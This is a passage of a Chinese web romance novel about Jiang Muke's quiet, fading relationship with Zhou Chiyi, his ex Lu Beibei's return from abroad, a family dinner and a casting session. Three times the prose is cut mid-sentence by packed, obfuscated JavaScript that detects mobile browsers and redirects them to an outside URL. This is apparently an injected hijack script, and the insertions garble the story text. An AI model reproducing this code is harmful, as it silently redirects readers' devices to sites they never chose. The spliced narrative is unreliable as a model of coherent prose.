不经意间的聊天里，江沐珂得知，周迟一会很多东西，但只针对于他感兴趣的，就像钢琴和吉他其实就是兴趣使然的结果，不会十分精通，但是喜欢的部分一定会做到很好。 就拿吉他来说，他会弹吉他，也就只是会几首歌而已，会跳爵士，但只能说是业余爱好罢了。 喜欢会有很多种，但并不是说喜欢就一定要做到最好，周迟一就是如此，他会为了喜欢和兴趣学习，不是三分钟热度，也不会是长久的坚持。 兴趣广泛，并不精通，懂点皮毛。 阎槐对他这样评价。 善于学习，认知清楚，明辨主次。 江沐珂是这样评价他的。 从元旦晚会之后，缘分的轨道似乎逐渐靠近，在不经意间的很多瞬间。 大一大二的篮球比赛上，运动会上的四百米接力跑中，学校的画画社团的画展里，以及学期结束的建模中…… 没有人刻意制造偶遇，偏偏所有巧合偶遇都像是在人为。 从一次又一次的见面里，慢慢认识到周迟一的另一面，仿佛是在探索宇宙的未知，每次见面都是新的发现。 最开始的微笑点头打招呼，到后来的闲聊叙旧一起去学校餐厅吃饭，最后甚至是同一只比赛队伍的搭档，他们的距离缓缓拉近。 喜欢就是在这样的潜移默化里渐渐形成，偷偷地藏起来，状若无事一般继续以朋友的身份出现在他身边。 一直这个样子持续很久，久到大学毕业，久到差点坚持不住。 江沐珂坐在出发的高铁站，从木仔询问的这个问题中陷入回忆，勾着嘴角想到大学里的这段时光，酸酸涩涩的。 “周迟一追的我，但是是我暗恋的他，至于具体喜欢哪里，说不上来，可能我是见色起意吧。” 一个模棱两可的答案，真真假假参半。 今天是江沐珂很早之前就和木仔定下来的采风时间，早早收拾好东西来到高铁站，在电话里聊到这个话题。 还有一部分原因是木仔最近想开一个连载，但是奈何她自己本热又是个彻头彻尾的母单，有关感情的各方面处理遇到很大问题，实在没有办法只能求助为数不多的人脉关系江沐珂了。 答案和猜测大相径庭，一直以为热情如江沐珂，会是很典型的女追男隔层纱的范例。 在固有的思维里，最可能大胆追求的人却在偷偷搞纯爱的暗恋，最符合冷静沉得住气的周迟一竟然会打直球，率先表白。 木仔在电话里连连感叹，直道，“码住码住，这可都是人设的反差重点，我到时候要利用的，我做功课时看到网上很多读者都喜欢这一类的反差人设的，你想想啊，小古板打直球大胆追求，这一听就很有感觉好吧。” 对此番话，江沐珂抿着嘴唇沉默，过程反差，结果正确，至于后续，或许也是好的吧。 抛开这种不太正面的负面想法，江沐珂拖着行李箱开始检票，顺便把手机里新收到的消息回复一下。 还有一个新邮件？ 看标题名字，一连串的英文，有片刻的呆愣，又很快反应过来，连带着整个表情都兴奋起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283269|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 前阵子投的国外简历难道真的有所回应了？ 国潮的大势里，江沐珂一直知道自己在画功上还存在问题，苦于没有办法突破，在自己哥哥的建议下决定去国外学习试一试。 因为自己简历内容问题，江沐珂不觉得自己可以通过大师的审核要求，没有回音的时间里便把这件事放弃，准备再准备一段时间后再尝试，所以有关这件事的内容除了江沐言，没有人知道。 “等你确认好人设和剧情大纲后，我可以免费帮你修改哦～”江沐珂再说话时语调上都在上扬，字眼之间都透露着喜劲，让人想不注意都难，“等见面后让你看个好东西，嘿嘿嘿。” 人还没见面，喜悦已经通过电话传达，两个人满是期待地挂掉电话。 另一边，周迟一晚上要去参加一个宴会，陈林没有陪同，是和另一个女助理，平时和陈林分工明确，像这些需要女伴的场合，基本都是她出面一起。 江沐珂不喜这些商人之间的逶迤，更讨厌有些富家子弟借着宴会的机会投射来的眼神目光，让人很不舒服，开始的时候还会以女伴的身份参加，后来就再也没有去过。 周迟一和安粒一起出现在会所高层宴会厅，徐知远已经到了有一会儿时间，正站在左侧的位置，手里端着酒杯和人聊天，视线转过来的瞬间和周迟一对视笑一眼点点头。 没有几分钟的功夫，徐知远已经端着酒杯过来，同时和女特助点点头打招呼。 “我还以为你不来了，不是说要在家陪珂珂？” 从上一次出差回来，徐知远觉得周迟一有点不一样，具体说不上来，反正是有变化的，比如说好像更有点恋家了？ 周迟一象征性整理下领带，“她有事情需要忙，去湘城约了朋友见面。” 徐知远有点意外，在印象里，江沐珂很少会拒绝周迟一的，有求必应仿佛是她的为人准则一般，尤其是对待周迟一的事情上面。 “哦？珂珂竟然会抛弃你，unbelievable，不可思议哎。” 好哥们就是哪里疼就戳哪里，徐知远更是毫不收敛。 今天不是什么重要宴会，只是合作上的伙伴，不好驳了人家的好意，来了更好，不来也不是什么大事。 洁身自好组始终在一处呆着，花花公子阎槐那边，一如既往的水平发挥，身边女人就没有断过。 不知道这家伙最近是不是换胃口了，好上御姐这一口，一口一个姐姐把人哄得晕乎乎。 徐知远抿一口红酒，双眼微微眯起，随时帮好兄弟收拾烂摊子。 “这酒不错”，周迟一难得说起无聊的话题内容。 除去和熟人寒暄聊天的时间，周迟一满打满算也就没说几句话，让人以为是在沉默思考什么事情。 徐知远有点饿，刚拿了一小块蛋糕吃下，抬抬头带着几分疑惑转向周迟一望去，“那是你太久没喝过还差不多。” 周迟一和江沐珂这对恋爱谈得很有意思，用阎槐的话就是—— 那他妈就像两个陌生人，清汤寡水的，也没见恩爱，更没见分开，硬是这么无聊地谈了这么久，周瑜和黄盖挨打都不带这样的，这也太TM的愿打愿挨了。 当时阎槐之所以会这么评价，完全是因为哥几个吃饭时周迟一的一句，“戒烟酒了，她不喜欢闻到烟味，不想我喝太多酒，伤胃。” 彼时周迟一刚犯胃病养好不久，索性让他一起把这两个不怎么好的爱好戒掉，那段时间说得就有些频繁。 阎槐那时候提到的清汤寡水这个词，还真就从那时候一直适用到现在。 两人的恋爱谈得没有波折，也没有激情，徐知远不知道自己谈恋爱会是什么样子，但套公式代入一下，应该不能做到周迟一这个岿然不动的样子。 脑海里刚说到这个岿然不动，下一秒，徐知远的的确确陷入到了岿然不动的状态里，双眼死盯着一个方向反复看，如同一个自动追踪装置似的紧紧跟随。 从她从门口出现就注意到，他的目光太过于明目张胆，女人接过服侍生递来的酒杯，笑意盈盈在徐知远的视线注视里身姿婀娜，脚步轻缓漫步走来。 “迟一，迟一，我没认错吧，她不是在国外吗？” 徐知远并不是阎槐那种性格的人，这会儿也没有办法冷静淡定下来。 周迟一不明所以，紧随他动作抬头，脸色一直淡淡的，眼睛目光微微加深，再没有更多余的变化。 5. 喜欢吗 宴会厅不小，什么圈子的人都包含其中，女人一路走来，有几个人认出她来，熟稔地上前和她交谈寒暄。 兴许是近些年都在国外的原因，徐知远有主动留意看，真正认出她的其实只有那么三四个，都是出国前的一些故交，至于这个圈子里的新人大概在了解过后都不会想主动去攀谈的关系。 不是生意人，但各个都长得生意人的头脑，或许更甚。 周迟一依旧没有吭声，目光微沉盯着前方不断缩短的距离，“待会儿宴会结束有时间吗？” 冷不丁的一个问题，把徐知远问得一头雾水，这都什么和什么，他问的都没给答案的吧。 真不愧是大少爷脾气，也就他们这群发小能受得了了，哦不对，还得再加一个，江沐珂也算其中一个。 徐知远用湿纸巾擦着手，低头看一眼腕表，琢磨过时间后回答，“应该是有的，怎么你要和她一起吃饭？寒暄叙旧？没必要吧。” 果然是一起相处的好兄弟，只刚开头就知道心里想的什么。 徐知远面色一直很凝重，观察周迟一的神色，没有再多说什么。 在他心里已经拿定主意，现在不过是告诉，再说那些话就有点多管闲事了。 从宴会开始就流连在百花丛中的某人，竟然也有注意到这边发生的事情，是他们三人中最先主动去打招呼说话的一个。 阎槐从服侍生手里端走一杯新倒好的酒杯，笑着走到路贝贝面前，“好久不见啊，路大美女。” “你也是啊，蔫坏的大帅哥。” 周迟一听到他们的简单招呼说话声，就只有几步远的距离，脸上的表情变化都能看得一清二楚。 事情都已经到这个份上了，徐知远也端着自己的酒杯走上前去，在走之前用胳膊肘轻撞了一下周迟一。 “贝贝，好久不见，看来国外很养你嘛，更加漂亮了，还好不像我，去一次国外差点没给自己留在那里。” 路贝贝抬手拢了下身上的披肩，嘴角的笑意再也压不住，“知远哥，又在故意调侃我了。” 三个人你一句我一句的寒暄，关心着这些年路贝贝在国外的生活。 “晚点一起去给你接风吃饭，我订了餐厅”，周迟一收好手机，在适当的话口出现在他们身后。 和美女一起吃饭，阎槐自然乐得自在，没人会不喜欢欣赏好看的人的，更何况这本就是他的隐藏爱好之一，“行啊，我去解决一下我今晚的续约，待会儿见咯。” 挥着手转身离开，顺着他走的方向往前面看，果不其然那里正有一位打扮齐全的漂亮女人等着。 这种沾花惹草的行径，早晚得遇到克星被制裁，到那个时候不摔个大跟头都不算罢休。 在阎槐不知道的时候，徐知远早已替他做了预判。 “阎槐还是老样子”，路贝贝收回视线，转头视线对上周迟一的眼睛，“好久不见，迟一。” 周迟一同样礼貌性抬抬酒杯，“好久不见，欢迎回国。” 几年的国外生活似乎忽然间在他们的言语中释怀了，路贝贝仰头喝一口酒，眉眼里染上笑，“那就多谢三位大帅哥给我接风了，走一个？” 徐知远自然是没什么计较的，看戏的眼神转向周迟一，不知道是谁刚刚说过戒烟酒的，真是好不打脸。 玻璃杯轻碰的声音在三人中间响起，口口声声说着戒烟酒的人，食言地又喝上酒了。 他们三人在一处待得有段时间，徐知远在看到朋友来之后，嘴角挂着意味深长的笑最后看一眼周迟一，缓缓转身走开。 临走前，点了点周迟一的手机，“记得回珂珂消息，我刚看到你手机屏亮了。” 徐知远认得出来，这次带出来的手机是私人手机号那个，无关工作，这种时间点会发来消息的多半是江沐珂。 周迟一点下头，当即拿过手机看未读消息。 路贝贝自己一个人在旁边呆着，反倒是有几分尴尬，主动开口打破这种僵局，“我看到了我老师，过去打个招呼说说话，过会儿再来找你们。” 【江沐珂】：我到湘城，和木仔见上面了。 是很早之前叮嘱过的，出门或者回家，记得及时告诉他，江沐珂后来一直都有这个习惯，这次去湘城也不例外。 【周迟一】：玩得愉快。 徐知远和好友一起走过来，刚准备打招呼，不小心地看到手机里的消息文字。 该怎么评价，很公式化，很没感情的一句客套话一般，不知道的或许会认为这是与客户的聊天结束语呢。 “迟一，听说你们最近在准备新剧，怎么样，主演什么都找好了吗？” 这话一开口，徐知远立即变脸，这是让人当工具来使了，双唇闭合一言不发，刚刚嘲笑的心思都消失得无形无踪。 周迟一看一眼徐知远难看的脸色，抬手搭在他肩上，“还没有，不过已经有心仪的人选了，正在和他们的经纪人接洽，而且我只是给点意见，真正要定下来还是要看总导演的。” 言外之意，我说话管用，但我并不准备用这个权利。 这个圈子里都是人精，也不必为了一个本子，把徐知远和周迟一两个人都得知，好友聪明地及时转移话题，勉强看到徐知远神色的缓和。 宴会大多都是如此，没太多有营养的聊天内容，结束时间也就来得迅速。 去西苑的路上，周迟一难得主动开车，徐知远同样有主动自觉性直接打开了副驾驶的车门。 后座上阎槐一张碎嘴子不停地对着路北北询问她的国外生活，老朋友相见，难免话多，而且还是路北北这种当初分开得本就带有遗憾的关系。 徐知远低头看手机前，默默从后视镜中观察后座的两人，勾嘴笑一下移开视线。 “你这次回国，准备什么时候还回去吗？” 一个问题成功吸引前面的两个男人的注意力，没有多余的动作，但是都同时竖起自己的耳朵留意听后面的答案。 路贝贝抿唇摇摇头，“不回去了，就留下家里发展了，妈妈身体越来越不好了，我想在身边照顾她。” 徐知远皱下眉头，没有接话，暗自有自己的想法，眼角的余光里注意周迟一的变化。 “阿姨生病了？” 周迟一接话关心道。 “阿姨在哪里养病呢，有时间我们去探望探望”，徐知远接过话，一如他一贯的作风，什么事都能做得很周全。 路贝贝面露忧色，轻幅度点点头，强撑出来的嘴角在这种时候一点都不好看。 “在东院，是癌症。” 车内陷入沉默，不论什么时候一旦提到癌症，就意味着无能为力，别无他法。 阎槐正在看手机回复消息，周迟一双手把着方向盘专注开车看前方道路，徐知远再次主动捞过接话的任务。 徐知远：“这种病考验的就是心态，让阿姨别总念着想着病况，好好享受生活就好了。” 沉默，依旧是沉默，只不过是沾染上悲情的沉默。 一辆车四个人，每个人都有各自的心思，徐知远从每个人脸上一一看过，从一个局外人的角度，在看台下观察台上人，只能束手无策。 - 女生之间的见面深夜密聊，分享完身边开心的事情，自然的关于感情的事情是必不可少的。 木仔怀里抱着刚拆开的薯片包装袋，开始她这次邀请江沐珂出来玩的主要目的。 话题的开始总是有些铺垫的，木仔从自己要准备新的连载开始说起，以及数次差点就能开启的恋情，其中各种尴尬原因，剖析铺垫结束，总算可以进入正题——八卦江沐珂和周迟一的恋情发展。 在结识这么久的时间里，木仔一直很礼貌地保持着朋友之间的边界感，偶尔有很多问题和疑惑，但总能在第一时间压下，不会问出什么让江沐珂难堪或者难回答的问题。 所有的好奇都在这一时刻翻涌滚上来，在脑海里挨个排着队等待追求一个答案。 “那那个姻缘符，你还留着吗？” 听故事到一半，木仔追着问。 姻缘符什么的，听起来就很符合爱情小说里的浪漫剧情安排，还没得到答案，木仔已经开始咧着嘴角傻笑了。 江沐珂从她怀里的薯片袋里给自己拿几片送到自己口中，咔嚓咔嚓的声音在房间里充斥，回答的话语突然变得很轻，让人摸不清是太过珍重，还是别的什么。 “不见了，刚工作那边出过一次车祸，后来就再也没找到了。” 仔细听完，木仔自动理解为，她在难过，为象征着好运的姻缘符的丢失而悲伤。 这种事情换做谁应该都会难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283270|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的，何况江沐珂自己一个人做了那场暗恋戏中主角那么久。 聊天对话陷入短暂的沉默。 江沐珂主动说话缓和气氛，“后来我重新去那里求了平安符，那么有效的地方当然要求家人朋友平安健康了。” “说得对，下次一定也要带着我去求，争取让我在一年之前找到我的正缘，再找不到，我家里的亲娘真的会把我五花大绑送去相亲的。” 木仔动作很是利索，薯片袋被她放在旁边的桌子上，双手轻轻扒在江沐珂胳膊上，一双眼睛没有带上泪花，但是不知道怎么的，下意识就把她这幅表情和平时聊天惯爱用的表情包对上。 布灵布灵的大眼睛不停眨动，楚楚可怜的哀求表情包。 果然是表情包用多了，现在已经开始自动对号入座了。 江沐珂贴心地为两人拆开一瓶果汁，在啤酒喝果汁之间挑选了果汁，能喝酒，但是酒的味道并不算好喝，这是她一直以来对有关酒精饮料的评价。 “我让周迟一给你介绍，你敢不敢要？” 优质男人的圈子里也不乏会有更多的优质男人，当然阎槐除外，毕竟他那种性格的人不是一般人能拿捏得住的。 起码的，木仔是不可能做得到的。 对于这个提议，木仔的反应则是，疯狂摇头，和小姑姑家里的孩子摇拨浪鼓一般的动作，看得出来她是真的害怕阎槐那样的花花公子性格。 很早之前在打嘴仗的时候，江沐珂就提到过阎槐这一号人，没想到真的会给木仔留下这么深刻的印象，竟然一直记到现在。 江沐珂被她这反应逗笑，半个身子都往后倒，勉强伸手搭在木仔肩上才没有真的倒过去，“哈哈哈哈，你哈哈哈哈，别怕啊，他还有很多其他的好兄弟哥们的，也不是各个都像阎槐那样的。” “打住打住打住！”木仔双手交叉在一起，手动比划出暂停，“他们那种人，那种家境，又怎么可能会是没有人要呢，要么是心里早就有人了，要么就是阎槐那种人，反正都肯定不是我的正缘！” 为了表现出她分析得准确性，连带着说话的声音都高上不少。 某个方面来说，江沐珂刚刚在说话时在心里想的人中就包括徐知远，至于事实也的确如木仔猜测得大差不差。 “算了，你还是别说我了，我是来找你要素材的，你没事别岔开话题”，木仔伸出食指点在江沐珂脑门，故意做出一副恶狠狠的语气，状似威胁。 前前后后又花去差不多半小时时间，江沐珂真是好不容易从木仔的追问里逃掉。 木仔单手撑在脸侧，表情恹恹。 听完所有故事后的感想就是，暗恋永远只可能是苦涩的，恋爱的开始永远是甜蜜浪漫，可以长久回忆的，但是后续的相处平淡乏味也是真的无趣。 木仔从来没想过竟然真的有人可以无趣到这种地步，而跳脱活跃如江沐珂竟然也真的能这么相处到现在，并且再提起时还能一笑而过。 该怎么具体形容概括心情前后的变化呢？ 可能就是，没有揭秘之前，好奇和期待让心情始终待在100分的高分线上，关系发生变化的重要时刻，心情更是从刚掉落的节点再次突飞猛涨回起点。 很有意思的一点就是，心情的转变不是某一个转折点，在这张心情的折线图上，坡度没有大幅度的变化，甚至可以说是平稳的，不是平稳的保持，而是平稳的下滑。 当下滑到某一个点，它就真正的从100分掉入了不及格的四五十分。 下滑不是件可怕的事，但是悄无声息，没有征兆的下滑才是最可怕的。 看热闹的眼神最终变作心疼的目光交相，沉默的目光更像是千言万语的凝聚。 木仔欲言欲止的状态反复拉扯，说不出口的话化作一句，“你真的还喜欢他吗？” “喜欢啊，不喜欢怎么会在一起这么久呢？” 江沐珂回答得快速，几乎是在木仔话声结束的瞬间接上，双手胡乱地跟着左右摆动，做着一系列的假动作。 木仔只是看着她，什么也不说。 对视的目光太过强大，仿佛能看透心里任何遮掩的真相，江沐珂能感受到面前的目光，所以她生了怯，有了畏。 同样的问题在心里重新问自己一遍。 真的还喜欢吗？ 6. 回家日 采风的陪伴过程总是过得很快，在江沐珂觉得还在刚开始的状态时已经要面临分别。 木仔比江沐珂更早一班飞机，在登机口那里和江沐珂抱在一起，嘴里念叨着不想分开的碎嘴子话语。 小嘴叭叭不停说了很多，最后还是要向登机的时间低头，转身说了再见。 这趟旅程很慢，很放松，也很享受，欣赏到不一样的民族风情、大自然的日照金山、雨过天晴后的巨大彩虹、绵延不断的层层山路…… 也很累，累到她们都没有来得及继续深夜密聊，已经进入梦乡释放白日的疲惫。 有关喜欢的那个问题，到最后江沐珂也没有找到最准确的答案。 真实的答案不是木仔心中所想，也不是她自己口中所答。 看着飞机窗外，回家当天的天气并不算好，即使是飞机所飞行的高度，也并不能看到朵朵的白云分明，雾蒙蒙的一层，就像江沐珂想不明白的心。 机场航站楼，是周迟一自己来接的，听陈林助理说，他们也是刚在这个机场落地不久。 “走吧，先回家，我给阿姨叔叔带了茶叶，已经说好今天去送给他们了”，江沐珂把背包拉开一个小口，刚好能够看到里面放的几个小盒子，是专门使用的礼品包装盒，很精致。 周迟一单手拖着小行李箱，另一只想要接过背包的手被江沐珂轻轻推开，嘴角扬着轻声说，“你也刚结束工作不久，这里面东西不多，我背着就好。” 在机场出租车区域，两人随意地找了辆车坐，周迟一上车报了地点后安静闭目养神，时不时接一下江沐珂的话。 周家父母住得距离机场没有特别远，前后不过开车二十分钟时间的路程。 还没到家里，江沐珂手机铃音已经开始耐不住的响起。 只一声，周迟一动作速度按下接听键，放在耳朵外侧，，更能保证手机音量的大小不会影响到身边人的休息。 刚上车没有太久，闭眼休息的人身份就发生转变，相比他们的睡着状态来看，江沐珂远比她宽慰人语气里更疲惫。 “妈，我们还有五分钟就到了，珂珂睡着了，有什么事呆会儿再说。” 自顾自地打断电话里的说话声，一整句话说出口，根本没有给对方留任何说话的气口，已经挂断电话。 自家儿子这种德性，气得韩月梅差点没有再拨过去电话破口大骂，没处撒的气转头来只能发泄在周望身上，“看看你生的好儿子，没有礼貌、没有家教，谁教他的敢这样挂断爸妈电话的，一会儿回到家你记得好好教育教育他，荒唐……” 脑子里有什么就说什么，韩月梅的嘴除了不会用在泼妇骂街的地方，其他时候堪比她们。 周家这对夫妻是真的周瑜和黄盖，一个愿打一个愿挨，周父哄着自己老婆的场面一直到自己闺女从房间里出来，看到这种场景默默白一眼，转身去冰箱里找吃的。 “妈，家里怎么没有水果了？还有我之前买的榴莲哪去了，怎么也找不到了？” 周末顶着一头乱糟糟的鸡窝头发，眼角的分泌物甚至都还没有擦干净，张口就是找吃的，一副混吃等死的混日子模样。 因着她的出现，本来正在挨骂的周望难得地被分去不少火力值。 在这个家里，就没有能侥幸逃过韩月梅的念叨，人老了就是这么爱操心管闲事，可问题就是韩月梅按理说也没有到那种年龄，所以周末做了一个总结： 人就不能太闲，不然看什么都会不顺眼，也就是闲着没事找事的另一种中文翻译。 “妈，你就别说了，我求求你了还不行嘛”，周末认命地往远离的方向朝阳台去，并不太想怕你自己遭受天降横唠叨，“你看我哥和珂珂姐回来了，你快点收了你这唠叨神通吧。” 能一秒让自家娘亲翻脸快如翻书的也就只有江沐珂一人了，周末瘪下嘴，努力忍住吐槽的心，不想让自己再罪加一等。 韩月梅听见，直接起身去拿早就准备好的果盘，里面正放着刚刚周末想要吃的榴莲。 这也是江沐珂爱吃的水果之一，每次韩月梅要去住处看望她时都会打包带好一整盒的榴莲。 “不是，这，你，我，行行行，珂珂姐才是亲生的总行了呗。” 刚一进门，江沐珂就听到这句话，眼睛不由得瞪大几分，眼里闪烁着看热闹的八卦兴头。 韩月梅背对着门口，没注意到心心念念的人已经出现在身后，掐手在腰身周围，“你要是有珂珂一半听话懂事，我比这还亲。” 周末真的很不想在家里做太多消极的表情，可是这是真的很难做到，张口再闭嘴，反复拉扯的嘴唇蠕动硬生生把嘴边的怨念憋在喉咙里。 险些憋不住的话语，努力在和江沐珂对视后咽回去，轻吐一口气几步小跳着把江沐珂身旁的位置霸占，成功将周迟一挤到一边站着。 “珂珂姐，你这次出去玩给我带了什么好东西回来，我可是听说了你给我爸妈带了好茶，我的一定不能比他们的差，略略略……” 长不大的小孩心性，江沐珂笑笑摇头，任由肩上的背包被取走。 眼看着背包里的东西被一一拿出来，江沐珂耐着心提醒，“那是茶叶，这个是我买回来的样品，回头送给粉丝的小玩意，那个是挂饰，你不是一向不喜欢这一套嘛。” 一大串的话说完，谁的礼物都是，偏偏就是没有周末本人的，脸上故意做出来的沮丧肉眼可见。 江沐珂扬起嘴角，不由被周末的反应逗笑，抬手轻轻推搡一下周迟一，使个眼色，“快点拿出来吧，再不拿出来，周末可就真的要和我绝交了。” 两个女生总爱说着些绝交几秒钟，几分钟，几小时的玩笑话。 周迟一稍稍抬手，留出一只胳膊的空间，正好足够江沐珂直接伸手到口袋里，下车前刚塞进来的礼物盒还没有在口袋里放热乎，就已经被主人重新拿回手中。 胡闹的妹妹，和禁不住闹的女朋友，周迟一就着眼前的画面默默给了一个评价，很中肯。 “哎呀，珂珂你想着我们就好了，怎么还破费呢，这么大老远带回来多麻烦啊。” 韩月梅招呼着江沐珂坐下，另一边使着眼色让周望开始去热饭菜，同时把周迟一也带走一起端饭，准备碗筷。 两个大男人在家里没有丝毫地位可言，周末不止一次地拿这件事说道。 本以为有一个老爸怕老婆就算了，现在就连自家大哥也是这样子，果然基因是会遗传的。 这是周末常常拿来评价的一句话。 对此，江沐珂从来都是抿嘴一笑，不做反驳，最开始还会笑着接话活跃玩笑氛围，渐渐的到现在听到之后没有什么情绪上的起伏波澜。 饭菜是提前就做好的，每一样都是两兄妹最爱吃的，还多加了两道江沐珂喜欢吃的，也都是韩月梅的拿手好菜，长久锻炼下来的厨艺只针对一家子人的胃口。 周家人这一家人最爱喝酒的不是周望，也不是周迟一，就要数只能是周末。 二十多岁的小姑娘，但是无酒不欢，不过也只是小酌怡情的那种，周末喝酒最忌讳的便是醉得酩酊大醉。 记忆中认识周末这么几年来，好像还从来没有见过她真正的喝醉过。 “珂珂，我刚听你说送给粉丝的礼物，是最近又要有签售会的那种线下活动了吗？” 上一秒话题还在周迟一的工作上，江沐珂也不知道话题是怎么突然就跳转到自己的工作安排上来。 在对江沐珂的关心程度上，韩月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283271|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅绝对是数一数二的，就连她的一些线下工作内容都知道得一清二楚， 还记得有一次漫展的线下签售见面会上，江沐珂竟然看到韩月梅出现，而且是以内场粉丝的身份，也是那次，江沐珂从周迟一口中得知韩月梅打听很久，从不熟悉的一个圈子一点一点了解，最后才敲定亲自去线下的安排。 在今年之前，江沐珂以连载作者或是画师身份受邀参加过很多漫展，或大或小的线下签售会，但是因着去年年底的一个意外，周迟一和江沐言都很介意，死活没有再同意今年的任何邀约。 这次的线下活动，江沐珂也是犹豫很久才拿定主意，前两天刚给主办方准确的答复，自己这边则是还没有来得及告诉任何人有关这个的消息。 江沐珂观察到，周迟一正在夹菜的动作有瞬间的停顿，不难猜出，肯定是对她独自做这个决定有些许的反对。 比周迟一更先发出疑问的是周末，在身边人中为数不多的知情人士之一，“这次主办方应该不会像上次那样了吧，那次真是恶心死我了。” “嗯？什么，你们在说什么，是之前发生什么了吗？” 不太好的事情，他们这三个孩子秉持了大多数孩子身上的典型做法——给家人只报喜不报忧。 韩月梅从他们的只言片语，周迟一脸上明显变化的表情，周末脸上毫不遮掩的担忧和气愤，以及江沐珂眼神目光里的转变心虚，想不发现不对劲都难。 周末下意识抿嘴噤声，被周迟一明令禁止的内容，一不小心漏了嘴，做错事在先，再跳脱的性子这会儿也熄了火，蔫了花。 在场的三个知情人中，周迟一是嘴最严实的一个，韩月梅瞥一眼他的位置，没什么好眼神，“珂珂，好孩子，你来告诉阿姨发生了什么事。” 循循善诱的说话艺术，周迟一在这方面一定是遗传了韩月梅。 “没发生什么的，只不过是主办方出现了一些纰漏问题，都是小case啦”，江沐珂嘴上用着撒娇的语气解释，手上动作也不停，从左手边周迟一剥好的虾肉盘子里夹走一只，递到韩月梅面前，“阿姨，快尝尝，迟一刚剥好的，热乎的蘸酱最好吃了。” 再明显不过的转话题的小伎俩，韩月梅瘪瘪嘴表示不悦，最终还是败下阵来，没有继续深入追究到底有什么事瞒着。 饭桌上两父子都没有说话，眼神在表达的内容只一眼，相互之间便明了。 离开周家时，韩月梅没少往车上塞东西，嘴上念念叨叨个不停，尤其是在听闻江沐珂今天要回家的事，更是动作不停地备更多的东西方便她带回去让家人吃。 周家父母住的小区是一栋新小区，最近几天附近的公园刚修缮竣工，新添加了一方人工湖，还有几架小桥，路过公园门口时远远地能看到桥洞的拱形。 天气又凉了几分，一阵冷风卷过，江沐珂打个冷颤，连忙关上车窗，规正坐回车座，依靠着椅背。 想要感叹公园修缮速度之快的话正卡在嘴边，耳侧已经听到周迟一的声音，很平静，像这深秋的冷风，轻轻吹过，并不太能带下树上的枯叶，然而风中的凉意却是不容忽视的。 “已经和主办方接洽好了吗？需不需要我帮你再安排一些？” 没头没尾的一个问句，好在从上车后他们还没有聊过什么话题，江沐珂很快反应过来是在说吃饭时提到的线下签售活动的问题。 再回想起去年年底的那场意外，现在仍然会心有余悸，但是江沐珂这人可能优点没有很多，偏偏就是属小强属性的，哪怕心里犯怵，依旧敢做出进一步的尝试。 当初面对周迟一的拒绝，是这样，这一次，同样如此。 沉默斟酌之后，江沐珂侧过头露了笑，很轻松的笑容，开口给出回答。 7. 面试戏 有关漫展线下签售的安排，还有很久，是一个月之后的元旦假期里的中型漫展。 周迟一尊重江沐珂的决定，没有自作主张过于干预什么，那天不出意外地得到江沐珂的回绝后，只是简单地叮嘱几句，让她一定记得让小助理一起跟在左右，有什么事两个人也好照应。 在工作上的事，他们两个人的相处一向如此，说句象棋中的楚河汉界也不为过，反正就是谁也不会干扰谁的事情和决定。 在漫展之前的时间里，江沐珂也不是没有事情，这段时间的工作安排上，可以说是她有史以来第一次和周迟一搭档工作。 大概在在此之前，江沐珂从来不觉得他们两个人截然不同的工作性质，还能有配合工作的一天。 从来都是散漫在书房或者小出租房里肝画稿，已经很久没有接触过这么多新鲜陌生的人了。 说新鲜是因为陪同在面试现场里，很多都是刚毕业或者还在学校的新鲜学生模样，在这个圈子里的确是属于新鲜，说陌生则是因为，对于江沐珂来说，他们无论名气与否，在她这里大概率都是并不知晓。 如果把动漫番剧里的角色拿出来摆在面前，江沐珂能够如数家珍，但是现实生活中的明星艺人，她能说上来的那必然都是家喻户晓，起码火遍过全网的程度。 江沐珂坐在周迟一旁边，看着眼前一个接一个的男生女孩进来，根据自己的理解表演着同一段剧情情节，好与不好都存在。 在这次的新本子选角里，周迟一是总制片人，但是选角的事情他全权留给了导演，除了剧中女二配角画手的身份，希望能够参考江沐珂的意见。 在眼下圈子里带资进组，导演权弱的整体大环境里，周迟一做出这种巨大的信任让步，差点没把导演感动得落泪。 当时的副导演故意开玩笑说，导演啊天生吃这口饭，凭借她这一身极具感染力的共情能力，培养出圈内独有的导戏和拍摄方式，代表作爆剧出圈。 只可惜后来家中突遇不幸，资金面临短缺，这才有了周迟一的机会。 江沐珂今天刚和副导演见面认识时，就听他说起这件事，惹得总导演在旁边连连拿手挡脸，一脸羞赧。 导演嘴上虽然说着自己决定，但多数时间依然会询问周迟一的意见，而周迟一也很给力，从业这么久就能有现在的能力的确是有实打实的真本事在的。 